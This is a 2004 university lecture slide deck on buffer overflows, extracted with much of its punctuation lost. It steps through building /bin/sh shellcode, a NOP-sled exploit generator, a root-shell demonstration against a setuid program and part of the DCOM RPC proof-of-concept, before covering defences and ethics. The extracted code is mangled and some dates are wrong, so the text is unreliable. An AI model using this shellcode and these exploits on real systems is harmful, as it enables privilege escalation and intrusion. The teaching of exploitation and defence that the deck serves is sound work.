Buffer Overflows

1
Buffer Overflows

• COT 4810
• Ken Pritchard
• 26 Oct 04

2
Overview

• Introduction
• History
• Common Exploit Examples
• Avoiding Exploits
• Ethical Issues

3
Introduction

• A buffer overflow occurs when an area of memory
  is filled with more data than it can hold.
• Languages that do not perform bounds checking are
  far more susceptible to overflows than those that
  do.
• Buffer overflows can occur in stack memory or
  heap memory.
• The most common type is an overflow of a local
  character array in C that is allocated on the
  stack.

4
// trivial.cvoid function() char
buffer15 printf("Enter string ")
gets(buffer1)void main() function()
printf("Thank you!\n")

• D\BufferOverflowExamplesgtgdb trivial
• (gdb) disas main
• Dump of assembler code for function main
• 0x0040107f ltmain0gt push ebp
• 0x00401080 ltmain1gt mov esp,ebp
• 0x00401082 ltmain3gt sub 0x4,esp
• 0x00401085 ltmain6gt call 0x401400 lt__maingt
• 0x0040108a ltmain11gt call 0x401060
  ltfunctiongt
• 0x0040108f ltmain16gt movl 0x40300f,(esp,1)
• 0x00401096 ltmain23gt call 0x401420 ltprintfgt
• 0x0040109b ltmain28gt leave
• 0x0040109c ltmain29gt ret
• End of assembler dump.
• (gdb) disas function
• Dump of assembler code for function function
• 0x00401060 ltfunction0gt push ebp
• 0x00401061 ltfunction1gt mov esp,ebp
• 0x00401063 ltfunction3gt sub 0x14,esp
• 0x00401066 ltfunction6gt movl
  0x403000,(esp,1)

• (gdb) break 0x0040106d
• Breakpoint 1 at 0x40106d file trivial.c, line 4.
• (gdb) break 0x0040107d
• Breakpoint 2 at 0x40107d file trivial.c, line 6.
• (gdb) r
• Starting program BufferOverflowExamples/trivial.e
  xe
• Breakpoint 1, 0x0040106d in function () at
  trivial.c4
• 4 printf("Enter string ")
• (gdb) info stack
• 0 0x0040106d in function () at trivial.c4
• 1 0x0040108f in main () at trivial.c10
• (gdb) c
• Continuing.
• Enter string AAAAAAAAAAAAAAAAAAAAAAAA
• Breakpoint 2, function () at trivial.c6
• 6
• (gdb) info stack
• 0 function () at trivial.c6
• 1 0x41414141 in ?? ()

5
Breakpoint 1, main () at trivial.c10 10
function() (gdb) info r eax 0x0
0 ecx 0x6111718c
1628533132 edx 0x0 0 ebx
0x4 4 esp 0x22f014 0x22f014 ebp
0x22f018 0x22f018 esi
0x610ef060 1628368992 edi
0x61005aa0 1627413152 eip
0x40108a 0x40108a eflags 0x246 582 cs
0x1b 27 ss 0x23
35 ds 0x23 35 es 0x23
35 fs 0x38 56 gs
0x0 0 (gdb) info frame Stack level 0, frame
at 0x22f020 eip 0x40108a in main
(trivial.c10) saved eip 0x61005f34 source
language c. Arglist at 0x22f018, args Locals
at 0x22f018, Previous frame's sp is 0x22f020
Saved registers ebp at 0x22f018, eip at
0x22f01c (gdb) c Continuing. Breakpoint 3,
0x0040106d in function () at trivial.c4 4
printf("Enter string ") (gdb) info
locals buffer1 "\fd\"\000\n" (gdb) print
buffer1 1 (char ()5) 0x22effc (gdb) x/6w
0x22effc 0x22effc 0x0022f00c
0x6100630a 0x61004650
0x00000000 0x22f00c 0x0022f018
0x0040108f (gdb) c Continuing. Enter string
AAAAAAAAAAAAAAA Breakpoint 4, function () at
trivial.c6 6 (gdb) x/6w
0x22effc 0x22effc 0x41414141
0x41414141 0x41414141
0x00414141 0x22f00c 0x0022f018
0x0040108f (gdb) c Continuing. Thank
you! Breakpoint 2, main () at trivial.c12 12
(gdb) c Continuing. Program exited with code
013. (gdb) q
6
Stack Memory
0x22f010 Saved EIP 0x004018f
0x22f00c Saved EBP 0x0022f018
0x2f008
0x2f004
0x22f000
0x22effc buffer1
7

• // modify_return.c
• include ltstdio.hgt
• void function()
• char buffer15int retprintf("Enter
  offset ")fgets(buffer1, 4, stdin)ret
  buffer1 atoi(buffer1)printf("Enter increment
  ")fgets(buffer1, 4, stdin)(ret)
  atoi(buffer1)
• void main()
• function()printf("Thank you!\n")
• D\BufferOverflowExamplesgtgdb modify_return
• (gdb) disas main
• Dump of assembler code for function main
• 0x004010ee ltmain0gt push ebp
• 0x004010ef ltmain1gt mov esp,ebp
• 0x004010f1 ltmain3gt sub 0x4,esp
• 0x004010f4 ltmain6gt call 0x401470 lt__maingt
• 0x004010f9 ltmain11gt call 0x401060
  ltfunctiongt
• 0x004010fe ltmain16gt movl 0x403021,(esp,1)

• (gdb) disas function
• Dump of assembler code for function function
• 0x00401060 ltfunction0gt push ebp
• 0x00401061 ltfunction1gt mov esp,ebp
• 0x00401063 ltfunction3gt push esi
• 0x00401064 ltfunction4gt push ebx
• 0x00401065 ltfunction5gt sub 0x20,esp
• 0x00401068 ltfunction8gt movl
  0x403000,(esp,1)
• 0x0040106f ltfunction15gt call 0x4014b0
  ltprintfgt
• 0x00401074 ltfunction20gt call 0x401490
  lt__getreentgt
• 0x00401079 ltfunction25gt mov
  0x4(eax),eax
• 0x0040107c ltfunction28gt mov
  eax,0x8(esp,1)
• 0x00401080 ltfunction32gt movl
  0x4,0x4(esp,1)
• 0x00401088 ltfunction40gt lea
  0xffffffe8(ebp),eax
• 0x0040108b ltfunction43gt mov
  eax,(esp,1)
• 0x0040108e ltfunction46gt call 0x4014a0
  ltfgetsgt
• 0x00401093 ltfunction51gt lea
  0xffffffe8(ebp),ebx
• 0x00401096 ltfunction54gt lea
  0xffffffe8(ebp),eax
• 0x00401099 ltfunction57gt mov
  eax,(esp,1)

8
(gdb) break 0x0040106f Breakpoint 1 at 0x40106f
file modify_return.c, line 6. (gdb) break
0x004010ed Breakpoint 2 at 0x4010ed file
modify_return.c, line 12. (gdb) r Starting
program modify_return.exe Breakpoint 1,
0x0040106f in function () at modify_return.c6 6
printf("Enter offset ") (gdb) info
frame Stack level 0, frame at 0x22f004 eip
0x40106f in function (modify_return.c6) saved
eip 0x4010fe called by frame at 0x22f010 source
language c. Arglist at 0x22effc, args Locals
at 0x22effc, Previous frame's sp is 0x22f004
Saved registers ebx at 0x22eff4, ebp at
0x22effc, esi at 0x22eff8, eip at 0x22f000 (gdb)
print buffer1 1 (char ()5) 0x22efe4 (gdb)
x/8w 0x22efe4 0x22efe4 0x610efea0
0x610ef060 0x0022effc
0x6100630a 0x22eff4 0x00000004
0x610ef060 0x0022f008 0x004010fe (gdb)
c Continuing. Enter offset 28 Enter increment
12 Breakpoint 2, 0x004010ed in function () at
modify_return.c12 12 (gdb) x/8w
0x22efe4 0x22efe4 0x000a3231
0x610ef060 0x0022effc
0x6100630a 0x22eff4 0x00000004
0x610ef060 0x0022f008 0x0040110a (gdb)
c Continuing. Program exited with code
010412. (gdb) q
When the program prompts for an offset, we enter
28 0x22f000 0x22efe4 1c or 28 When the
program prompts for an increment, we enter 12
0x40110a 0x4010fe c or 12 The end result is
that we set the pointer to the stack where the IP
is stored and then increment it to the
instruction following the printf call, thereby
skipping it.
9
Overflow Problems

• If the input is larger than the compiler has
  allotted to the buffer, some existing stack
  memory is overwritten.
• The first item overwritten is the saved frame
  pointer.
• The next item overwritten is the saved
  instruction pointer.
• After that, it is overwriting areas from previous
  function calls.
• It may be possible for the saved instruction
  pointer to be overwritten with a valid
  instruction. In that case, the user providing the
  input is able to execute arbitrary code.

10
History

• Buffer overflow exploits have been used for quite
  some time, especially in Internet worms.
• One of the first Internet worms, the Morris Worm,
  took only hours to infect over 10 of all systems
  connected to the Internet in 1988. It caused most
  uninfected systems to be pulled off line.
• The Morris Worm led to the creation of the
  Computer Emergency Response Team CERT.
• Buffer overflow exploits were also used by UNIX
  users to become root.
• The Code Red worm exploited a buffer overflow in
  Microsoft IIS responding to an HTTP GET request
  in 1999. It was primarily a Denial of Service
  (DoS) attack.
• In 2003, the SQL Slammer worm exploited a buffer
  overflow in the Microsoft Desktop Engine (MSDE)
  used in SQL Server. It was primarily a DoS
  attack, but the vulnerability exploited could
  have allowed access to any information in the
  database. Because of the speed of the infection
  and the amount of network traffic generated, most
  of the Internet was affected within hours.

11
History Continued

• Also in 2003, the MSBlaster worm spread among
  systems running Windows XP and Windows 2000. It
  exploited a buffer overflow in DCOM RPC and was
  the first exploit known to pop a shell on a
  Windows system. The damage done was DoS due to
  the worm reproducing. This worm was discovered
  after Microsoft released a patch to fix the flaw
  that it exploited. The creator downloaded the
  patch to see what it fixed and then exploited
  that flaw. Any system not yet patched was
  vulnerable.
• The Sasser worm appeared in April of 2004 and
  exploited a buffer overflow in Local Security
  Authority Subsystem Service (lsass.exe). This
  program also caused a DoS by trying to reproduce.
  This worm was discovered after Microsoft released
  a patch to fix the flaw that it exploited. Any
  system not yet patched was vulnerable and, among
  others, it brought down computers at Delta Air
  Lines causing them to cancel several flights.
• While the worms that gained the most attention
  did so by performing a DoS just by trying to
  reproduce, the flaws exploited could have allowed
  hundreds or perhaps thousands of others to
  quietly gain control of the same systems.

12
Common Exploits

• Privilege Escalation
• A program running at a higher privilege level
  is hijacked and forced to run the users code.
• Network Worm
• A program searches over a network for a system
  to exploit, then reproduces on the infected
  system and the search continues from both systems.

13
Typical Privilege Escalation

1. A process running at a higher privilege level is
   found.
2. An attempt is made to exploit the process.
3. If the process can be exploited, the attacker
   develops code called shellcode and tries to
   inject it into the vulnerable process.
4. If the attacker gains root access, the
   possibilities are endless.

14
Shellcode Basics

• The main idea behind shellcode is to get a
  desired program broken down into the raw
  hexadecimal instructions.
• Once those instructions are obtained, they have
  to be injected into a running program and
  executed in place of the programs instructions.
• Typically the shellcode is injected into a
  vulnerable buffer so that the first instruction
  to execute replaces the saved instruction pointer.

15
Creating Shellcode

• Code a program to perform the desired task.
• Compile it statically
• Disassemble the executable and analyze the
  instructions.
• Clean up and compact the assembly.
• Extract the opcodes from the assembly to build
  the shellcode.

16
Creating the Shell Executable

• Create a program to spawn a shell
• // shellcode.c
• include ltstdio.hgt
• void main()
• char name2
• name0 "/bin/sh"
• name1 NULL
• execve(name0, name, NULL)
• Compile it statically to get the instructions
• ken_at_acerlinux Shell gcc -ggdb -static -o
  shellcode shellcode.c
• Test the executable
• ken_at_acerlinux Shell shellcode
• bash exit

17
Disassemble Shell Executable

• ken_at_acerlinux Shell gdb shellcode
• (gdb) disas main
• Dump of assembler code for function main
• 0x8048198 ltmaingt pushl ebp
• 0x8048199 ltmain1gt movl esp,ebp
• 0x804819b ltmain3gt subl 0x8,esp
• 0x804819e ltmain6gt movl 0x806f308,0xffffff
  f8(ebp)
• 0x80481a5 ltmain13gt movl 0x0,0xfffffffc(eb
  p)
• 0x80481ac ltmain20gt pushl 0x0
• 0x80481ae ltmain22gt leal 0xfffffff8(ebp),e
  ax
• 0x80481b1 ltmain25gt pushl eax
• 0x80481b2 ltmain26gt movl 0xfffffff8(ebp),e
  ax
• 0x80481b5 ltmain29gt pushl eax
• 0x80481b6 ltmain30gt call 0x804b9a0
  lt__execvegt
• 0x80481bb ltmain35gt addl 0xc,esp
• 0x80481be ltmain38gt leave
• 0x80481bf ltmain39gt ret
• End of assembler dump.
• (gdb) disas __execve

18
Creating the Exit Executable

• Create a program to exit
• // exit.c
• include ltstdlib.hgt
• void main()
• exit(0)
• Compile it statically and disassemble
• ken_at_acerlinux Shell gcc -ggdb -static -o exit
  exit.c
• ken_at_acerlinux Shell gdb exit
• (gdb) disas _exit
• Dump of assembler code for function _exit
• 0x804b970 lt_exitgt movl ebx,edx
• 0x804b972 lt_exit2gt movl 0x4(esp,1),ebx
• 0x804b976 lt_exit6gt movl 0x1,eax
• 0x804b97b lt_exit11gt int 0x80
• 0x804b97d lt_exit13gt movl edx,ebx
• 0x804b97f lt_exit15gt cmpl 0xfffff001,eax
• 0x804b984 lt_exit20gt jae 0x804bc60
  lt__syscall_errorgt

19
Customize the Assembly

• We have to analyze what the instructions are
  doing, take out the ones we dont need, include
  the exit instructions, and compile it
• // shellcodeasm.c
• void main()
• __asm__("
• jmp 0x2a 3 bytes
• popl esi 1 byte
• movl esi,0x8(esi) 3 bytes
• movb 0x0,0x7(esi) 4 bytes
• movl 0x0,0xc(esi) 7 bytes
• movl 0xb,eax 5 bytes
• movl esi,ebx 2 bytes
• leal 0x8(esi),ecx 3 bytes
• leal 0xc(esi),edx 3 bytes
• int 0x80 2 bytes
• movl 0x1, eax 5 bytes
• movl 0x0, ebx 5 bytes
• int 0x80 2 bytes
• call -0x2f 5 bytes
• .string \"/bin/sh\" 8 bytes

20
Extract the Opcodes

• ken_at_acerlinux Shell gdb shellcodeasm
• (gdb) disas main
• Dump of assembler code for function main
• 0x8048398 ltmaingt pushl ebp
• 0x8048399 ltmain1gt movl esp,ebp
• 0x804839b ltmain3gt jmp 0x80483c7
  ltmain47gt
• 0x804839d ltmain5gt popl esi
• 0x804839e ltmain6gt movl esi,0x8(esi)
• 0x80483a1 ltmain9gt movb 0x0,0x7(esi)
• 0x80483a5 ltmain13gt movl 0x0,0xc(esi)
• 0x80483ac ltmain20gt movl 0xb,eax
• 0x80483b1 ltmain25gt movl esi,ebx
• 0x80483b3 ltmain27gt leal 0x8(esi),ecx
• 0x80483b6 ltmain30gt leal 0xc(esi),edx
• 0x80483b9 ltmain33gt int 0x80
• 0x80483bb ltmain35gt movl 0x1,eax
• 0x80483c0 ltmain40gt movl 0x0,ebx
• 0x80483c5 ltmain45gt int 0x80
• 0x80483c7 ltmain47gt call 0x804839d ltmain5gt

21
Extract the Opcodes Continued

• Dump all the bytes to the screen as hex
• (gdb) x/61bx main3
• 0x804839b ltmain3gt 0xeb 0x2a 0x5e
  0x89 0x76 0x08 0xc60x46
• 0x80483a3 ltmain11gt 0x07 0x00 0xc7
  0x46 0x0c 0x00 0x000x00
• 0x80483ab ltmain19gt 0x00 0xb8 0x0b
  0x00 0x00 0x00 0x890xf3
• 0x80483b3 ltmain27gt 0x8d 0x4e 0x08
  0x8d 0x56 0x0c 0xcd0x80
• 0x80483bb ltmain35gt 0xb8 0x01 0x00
  0x00 0x00 0xbb 0x000x00
• 0x80483c3 ltmain43gt 0x00 0x00 0xcd
  0x80 0xe8 0xd1 0xff0xff
• 0x80483cb ltmain51gt 0xff 0x2f 0x62
  0x69 0x6e 0x2f 0x730x68
• 0x80483d3 ltmain59gt 0x00 0xc9 0xc3
  0x90 0x90
• (gdb) q

22
Creating Executable From Shellcode

• Take all the hex and put it in a char array in a
  C file, then compile and test
• //testsc.c
• char shellcode
• "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46
  \x0c\x00\x00\x00"
• "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d
  \x56\x0c\xcd\x80"
• "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
  \xe8\xd1\xff\xff"
• "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3\x90
  \x90"
• void main()
• int ret
• ret (int )ret 2
• (ret) (int)shellcode
• ken_at_acerlinux Shell gcc -o testsc testsc.c
• ken_at_acerlinux Shell testsc
• bash exit

23
Final Shellcode

• That code works in a test but it wont work if
  copied into a char buffer because of the null
  characters in the string.
• All the null characters have to be removed so
  that strcpy, strcat, etc dont stop there.
• The code has to be analyzed to see if anything
  can be removed and/or changed so that there are
  no null bytes.

24
Modified Assembly

• // shellcodeasm2.c
• void main()
• __asm__("
• jmp 0x1f 2 bytes
• popl esi 1 byte
• movl esi,0x8(esi) 3 bytes
• xorl eax,eax 2 bytes
• movb eax,0x7(esi) 3 bytes
• movl eax,0xc(esi) 3 bytes
• movb 0xb,al 2 bytes
• movl esi,ebx 2 bytes
• leal 0x8(esi),ecx 3 bytes
• leal 0xc(esi),edx 3 bytes
• int 0x80 2 bytes
• xorl ebx,ebx 2 bytes
• movl ebx,eax 2 bytes
• inc eax 1 bytes
• int 0x80 2 bytes
• call -0x24 5 bytes

25
Extract the Opcodes

• ken_at_acerlinux Shell gdb shellcodeasm2
• (gdb) disas main
• Dump of assembler code for function main
• 0x8048398 ltmaingt pushl ebp
• 0x8048399 ltmain1gt movl esp,ebp
• 0x804839b ltmain3gt jmp 0x80483bc
  ltmain36gt
• 0x804839d ltmain5gt popl esi
• 0x804839e ltmain6gt movl esi,0x8(esi)
• 0x80483a1 ltmain9gt xorl eax,eax
• 0x80483a3 ltmain11gt movb al,0x7(esi)
• 0x80483a6 ltmain14gt movl eax,0xc(esi)
• 0x80483a9 ltmain17gt movb 0xb,al
• 0x80483ab ltmain19gt movl esi,ebx
• 0x80483ad ltmain21gt leal 0x8(esi),ecx
• 0x80483b0 ltmain24gt leal 0xc(esi),edx
• 0x80483b3 ltmain27gt int 0x80
• 0x80483b5 ltmain29gt xorl ebx,ebx
• 0x80483b7 ltmain31gt movl ebx,eax
• 0x80483b9 ltmain33gt incl eax

26
Extract the Opcodes Continued

• Dump all the bytes to the screen as hex
• (gdb) x/50bx main3
• 0x804839b ltmain3gt 0xeb 0x1f 0x5e
  0x89 0x76 0x08 0x310xc0
• 0x80483a3 ltmain11gt 0x88 0x46 0x07
  0x89 0x46 0x0c 0xb00x0b
• 0x80483ab ltmain19gt 0x89 0xf3 0x8d
  0x4e 0x08 0x8d 0x560x0c
• 0x80483b3 ltmain27gt 0xcd 0x80 0x31
  0xdb 0x89 0xd8 0x400xcd
• 0x80483bb ltmain35gt 0x80 0xe8 0xdc
  0xff 0xff 0xff 0x2f0x62
• 0x80483c3 ltmain43gt 0x69 0x6e 0x2f
  0x73 0x68 0x00 0xc90xc3
• 0x80483cb ltmain51gt 0x90 0x90
• (gdb) q

27
Creating Executable From Shellcode

• Take all the hex and put it in a char array in a
  C file, then compile and test
• // testsc2.c
• char shellcode
• "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89
  \x46\x0c\xb0\x0b"
• "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
  \x89\xd8\x40\xcd"
• "\x80\xe8\xdc\xff\xff\xff/bin/sh"
• void main()
• int ret
• ret (int )ret 2
• (ret) (int)shellcode
• ken_at_acerlinux Shell gcc -o testsc2 testsc2.c
• ken_at_acerlinux Shell testsc2
• bash exit

28
Use the Shellcode to Build a Program

• Use the final shellcode to build a program that
  can exploit a vulnerable process.
• It can be very difficult to find the correct
  address to inject the code.
• Padding the shellcode with no-operation (nop)
  instructions increases the odds of getting it in
  the right place.
• In our example, we are going to exploit a program
  that is looking for command line input.
• We will have our exploit program accept a buffer
  size and an offset to custom build the shellcode
  at a specified address and with a specified pad
  of nops.
• To make it easier to pass the string, which will
  consist mostly of unprintable characters, it is
  put in an environment variable that will be
  passed as an argument and expanded by the shell.

29
include ltstdlib.hgt define DEFAULT_OFFSET
0 define DEFAULT_BUFFER_SIZE
512 define NOP
0x90 char shellcode "\xeb\x1f\x5e\x89\x76\x0
8\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\
x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/s
h" unsigned long get_sp(void) __asm__("movl
esp,eax") void main(int argc, char argv)
char buff, ptr long addr_ptr, addr
int offsetDEFAULT_OFFSET, bsizeDEFAULT_BUFFER_SI
ZE int i if (argc gt 1) bsize
atoi(argv1) if (argc gt 2) offset
atoi(argv2) if (!(buff malloc(bsize)))
printf("Can't allocate memory.\n")
exit(0) addr get_sp() - offset
printf("Using address 0xx\n", addr) ptr
buff addr_ptr (long ) ptr for (i 0 i
lt bsize i4) (addr_ptr) addr for (i
0 i lt bsize/2 i) buffi NOP ptr
buff ((bsize/2) - (strlen(shellcode)/2))
for (i 0 i lt strlen(shellcode) i)
(ptr) shellcodei buffbsize - 1
'\0' memcpy(buff,"EGG",4) putenv(buff)
system("/bin/bash")
30
Getting a Root Shell

• // vulnerable.c
• void main(int argc, char argv)
• char buffer512
• if (argc gt 1)
• strcpy(buffer,argv1)
• ken_at_acerlinux Shell gcc -ggdb -o vulnerable
  vulnerable.c
• ken_at_acerlinux Shell su
• Password
• root_at_acerlinux Shell chown root vulnerable
• root_at_acerlinux Shell chmod s vulnerable
• root_at_acerlinux Shell exit
• exit
• ken_at_acerlinux Shell ls -l vulnerable
• -rwsr-sr-x 1 root wheel 12648 Oct 21
  0723 vulnerable
• ken_at_acerlinux Shell whoami
• ken
• ken_at_acerlinux Shell exploit 612 1600

31
Worm Basics

• At the heart of a worm, shellcode is going to be
  created and injected into a vulnerable program.
• The shellcode will be not only the worms
  executable code, but also the payload that is
  going to be delivered.
• Often, the worm is loaded in two stages. The
  first stage exploits a buffer and sends a small
  shellcode program that will load the rest.

32
Worm Example - MSBlaster

• The MSBlaster worm exploited an overflow in the
  Distributed Component Object Model (DCOM) that
  Windows uses for distributed applications.
• The initial shellcode delivered to an attacked
  system caused the system to connect back to the
  attacker to get the rest of the program.
• Once the rest of the program was delivered the
  attacked system became an attacker and started
  looking for more victims.

33

• // DCOM RPC exploit proof of concept
• // Posted by flashsky (flashsky1_at_sina.com) at
  XFocus
• // Based on work done by Last Stage of Delerium
• include ltwinsock2.hgt
• include ltstdio.hgt
• include ltwindows.hgt
• include ltprocess.hgt
• include ltstring.hgt
• include ltwinbase.hgt
• unsigned char bindstr
• 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,
  0x00,0x00,0x7F,0x00,0x00,0x00,
• 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,
  0x00,0x00,0x01,0x00,0x01,0x00,
• 0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,
  0x00,0x00,0x00,0x00,0x00,0x46,
• 0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,
  0xC9,0x11,0x9F,0xE8,0x08,0x00,
• 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00
• unsigned char request

34
void main(int argc,char argv) WSADATA
WSAData int i SOCKET sock SOCKADDR_IN
addr_in short port135 unsigned char
buf10x1000 printf("RPC DCOM DOS Vulnerability
discoveried by Xfocus.org\n") printf("Code by
FlashSky,Flashsky_at_xfocus.org,benjurry,benjurry_at_xfo
cus.org\n") printf("Welcome to
http//www.xfocus.net\n") if(argclt2) printf
("useages target\n",argv0) exit(1) if
(WSAStartup(MAKEWORD(2,0),WSAData)!0) print
f("WSAStartup error.Errord\n",WSAGetLastError())
return addr_in.sin_familyAF_INET addr_
in.sin_porthtons(port) addr_in.sin_addr.S_un.S_
addrinet_addr(argv1) if ((socksocket(AF_INET
,SOCK_STREAM,IPPROTO_TCP))INVALID_SOCKET) p
rintf("Socket failed.Errord\n",WSAGetLastError()
) return if(WSAConnect(sock,(struct
sockaddr )addr_in,sizeof(addr_in),NULL,NULL,NULL
,NULL)SOCKET_ERROR) printf("Connect
failed.Errord",WSAGetLastError()) return
if (send(sock, (char )bindstr,sizeof(bindstr),0)
SOCKET_ERROR) printf("Send
failed.Errord\n",WSAGetLastError()) return
irecv(sock, (char )buf1,1024,MSG_PEEK) if
(send(sock, (char )request,sizeof(request),0)SO
CKET_ERROR) printf("Send failed.Errord\n",W
SAGetLastError()) return irecv(sock,
(char )buf1,1024,MSG_PEEK)
35
Typical Worm Behavior

1. The initial program is released.
2. It starts looking for vulnerable systems.
3. When it finds a vulnerable system, it will try to
   exploit the buffer overflow and send itself as
   the executable code. Often there are no files on
   disk. Sometimes there is a file left and some
   modification made to the system so that the
   program starts again on boot.
4. If it is successful in executing its own code on
   the attacked system, then the attacked system
   starts doing the same thing.
5. The number of affected systems can grow
   exponentially and use all available bandwidth
   looking for more victims.

36
Network Overflow Attack
Attacker
Victim
Attacking system exploits victim and sends a copy
of itself.
The victim becomes an attacker and finds more
victims.
37
Overflow Avoidance - Coding

• Check the bounds of a buffer before writing to
  it.
• Use functions that allow the programmer to limit
  the size and format of input.
• Avoid dangerous functions like scanf(), fscanf(),
  strcpy(), strcat(), and gets().
• For applications consider alternative languages
  like Java and C.

38
Overflow Avoidance - Testing

• Buffer overflows are problems made by a
  programmer that should be discovered during
  testing.
• All possible input should be tested, especially
  input from an external, uncontrollable source.
• Any possible input should be handled in some way.

39
Overflow Avoidance - Administration

• Dont use suid root applications. Create a
  special user for that application if necessary.
• Close any unnecessary ports.
• Use some type of firewall to limit access to
  private systems.

40
Overflow Avoidance - Tools

• Automated source code checking. Polyspace
  Technologies provides a product that will analyze
  source code for a number of problems including
  buffer overflows. Adds no cost to execution.
• Stack monitoring. Immunix provides a patch for
  gcc that places a canary word on the stack near
  the function start. When the function returns, it
  first checks the integrity of the canary word
  to see if the stack is corrupted.
• Make the stack non-executable. This is an option
  on most operating systems and available as a
  patch for Linux however, the shellcode could be
  placed somewhere else and a jump forced.

41
Overflow Avoidance - Patch

• Patch standard C libraries so that the more
  exploitable functions become less exploitable.
  This adds overhead at execution and does not
  guarantee no overflows.
• SecureSize provides the BOWall product that does
  this.
• IBM sells the Rational product suite that
  includes their Purify product that does runtime
  bounds checking along with a number of other
  checks.

42
Ethical Issues

• Programmers have a responsibility to be as
  careful as possible and not make any obvious
  mistakes.
• Software companies have a responsibility to
  perform adequate unit and regression testing to
  ensure that their software performs correctly
  with all input.
• System administrators also have a responsibility
  to shut off non-essential services and ports and
  restrict permissions on programs.
• Someone who detects a software flaw should
  deliver a proof of concept exploit to the
  software maker so that a patch can be created.
  That person should not post the flaw publicly or
  create the worlds next great Internet worm.

43
Summary

• Buffer overflows are the result of an error in a
  program that results in the program placing more
  data in a buffer than it can hold.
• If large enough, a buffer overflow can crash the
  program.
• Specially crafted code can be injected into the
  overflow to allow arbitrary code execution.
• Buffer overflows can be exploited to get
  privileged access to a system.
• A number of Internet worms have used buffer
  overflow exploits to cause a DoS condition.
• An adequate test plan should be developed that
  will ensure that a program can accept any input,
  even incorrect input.
• Programmers should make bounds checks when a
  program might receive erroneous input.
• Dangerous functions, like gets() and strcpy(),
  should not be used.
• There are automatic source auditing tools
  available to search for possible buffer overflow
  conditions.
• There are runtime tools that can check overflow
  conditions and halt the program.
• There are ethical issues surrounding buffer
  overflows both on the side of the programmers
  that create them and the people who discover them.

44
References

• Peikari, Cyrus and Anton Chuvakin Security
  Warrior. Sebastopol OReilly Associates, 2004
• Koziol, Jack, et al The Shellcoders Handbook.
  Indianapolis Wiley Publishing, Inc, 2004
• Conway, Richard and Julian Cordingley Code
  Hacking. Hingham Charles River Media, Inc, 2004
• Dunteman, Jeff Assembly Language Step-by-Step.
  New York Wiley Publishing, Inc, 2000
• http//www.xfocus.org/advisories/200307/4.html
• http//www.phrack.org/show.php?p49a14
• http//en.wikipedia.org/wiki/Notable_computer_viru
  ses_and_worms
• http//www.snowplow.org/tom/worm/worm.html
• http//www.polyspace.com/index.htm
• http//immunix.org/technology/compiler.php
• http//www.securesize.com/BOWall/index.shtml
• http//www-306.ibm.com/software/awdtools/purifyplu
  s/